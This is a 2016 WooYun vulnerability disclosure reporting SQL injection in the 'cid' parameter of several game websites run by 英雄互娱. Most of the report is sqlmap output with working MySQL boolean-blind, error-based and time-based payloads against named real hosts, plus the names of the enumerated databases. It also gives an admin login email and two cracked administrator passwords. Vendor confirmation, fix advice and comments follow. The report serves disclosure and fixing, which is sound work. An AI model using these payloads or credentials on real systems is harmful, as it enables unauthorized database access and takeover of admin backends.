当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0170033

漏洞标题:英雄互娱旗下通用型SQL注入(全名枪战/天天炫舞/夏目的美丽日记/功夫全明星)管理后台沦陷

相关厂商:英雄互娱

漏洞作者: mango

提交时间:2016-01-15 00:25

修复时间:2016-02-27 11:49

公开时间:2016-02-27 11:49

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-01-15: 细节已通知厂商并且等待厂商处理中
2016-01-15: 厂商已经确认,细节仅向厂商公开
2016-01-25: 细节向核心白帽子及相关领域专家公开
2016-02-04: 细节向普通白帽子公开
2016-02-14: 细节向实习白帽子公开
2016-02-27: 细节向公众公开

简要描述:

不知道如何getshell 也没继续看~

详细说明:

只要是游戏官网可以打开/m/list.html?cid=1基本都有注入
参数cid
http://xm.yingxiong.com/m/list.html?cid=1 (GET)

sqlmap identified the following injection points with a total of 73 HTTP(s) requests:
---
Parameter: cid (GET)
Type: boolean-based blind
Title: MySQL >= 5.0 boolean-based blind - Parameter replace
Payload: cid=(SELECT (CASE WHEN (1182=1182) THEN 1182 ELSE 1182*(SELECT 1182 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: cid=1 AND (SELECT 6605 FROM(SELECT COUNT(*),CONCAT(0x7171627871,(SELECT (ELT(6605=6605,1))),0x7170766b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: cid=1 AND (SELECT * FROM (SELECT(SLEEP(5)))DVat)
---
back-end DBMS: MySQL 5.0
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: cid (GET)
Type: boolean-based blind
Title: MySQL >= 5.0 boolean-based blind - Parameter replace
Payload: cid=(SELECT (CASE WHEN (1182=1182) THEN 1182 ELSE 1182*(SELECT 1182 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: cid=1 AND (SELECT 6605 FROM(SELECT COUNT(*),CONCAT(0x7171627871,(SELECT (ELT(6605=6605,1))),0x7170766b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: cid=1 AND (SELECT * FROM (SELECT(SLEEP(5)))DVat)
---
back-end DBMS: MySQL 5.0
available databases [2]:
[*] information_schema
[*] xmcms


http://demo.yingxiong.com/m/list.html?cid= (GET)

sqlmap identified the following injection points with a total of 73 HTTP(s) requests:
---
Parameter: cid (GET)
Type: error-based
Title: MySQL >= 5.0 error-based - Parameter replace
Payload: cid=(SELECT 2365 FROM(SELECT COUNT(*),CONCAT(0x716a707871,(SELECT (ELT(2365=2365,1))),0x7176707171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
---
back-end DBMS: MySQL 5.0
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: cid (GET)
Type: error-based
Title: MySQL >= 5.0 error-based - Parameter replace
Payload: cid=(SELECT 2365 FROM(SELECT COUNT(*),CONCAT(0x716a707871,(SELECT (ELT(2365=2365,1))),0x7176707171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
---
back-end DBMS: MySQL 5.0
available databases [2]:
[*] gongfu
[*] information_schema


我就不一一贴了
最后发现管理账号都市qq@qq.com 密码能解开两个 !rjkXM 和 rfF4gi 使用这个两个密码基本没什么阻碍了

漏洞证明:

$L%]UCD3B]G8RVK$}WQMYTI.jpg


6XF_NIJ)BJ_$A6R5WPNFW_W.jpg


R_0KTDOURI68QGHVZX`XBOS.png

修复方案:

后台神马的还是别对外网开放。
仔细检查SQL问题

版权声明:转载请注明来源 mango@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:9

确认时间:2016-01-15 14:43

厂商回复:

漏洞存在

最新状态:

暂无


漏洞评价:

评价

  1. 2016-01-15 00:30 | dslxin ( 普通白帽子 | Rank:136 漏洞数:35 | 岁月你别催)

    我来了,楼下的看这里。。

  2. 2016-01-15 09:35 | Aasron ( 普通白帽子 | Rank:215 漏洞数:59 | 工欲善其事,必先利其器)

    还好我不玩

  3. 2016-01-15 10:48 | _Thorns ( 普通白帽子 | Rank:1662 漏洞数:248 | WooYun is the Bigest gay place. 网络工...)

    大兄弟,标题错啦,。全名枪战

  4. 2016-01-15 12:13 | 天地不仁 以万物为刍狗 ( 普通白帽子 | Rank:1231 漏洞数:342 | 本乌云账户唯一QQ 177712xx4)

    我已经不想说话了···明天我就换个账号 这个账号不能用了

  5. 2016-01-15 12:47 | mango ( 核心白帽子 | Rank:1868 漏洞数:275 | 出一份微不足道的"力")

    @天地不仁 以万物为刍狗 @_Thorns 哈哈哈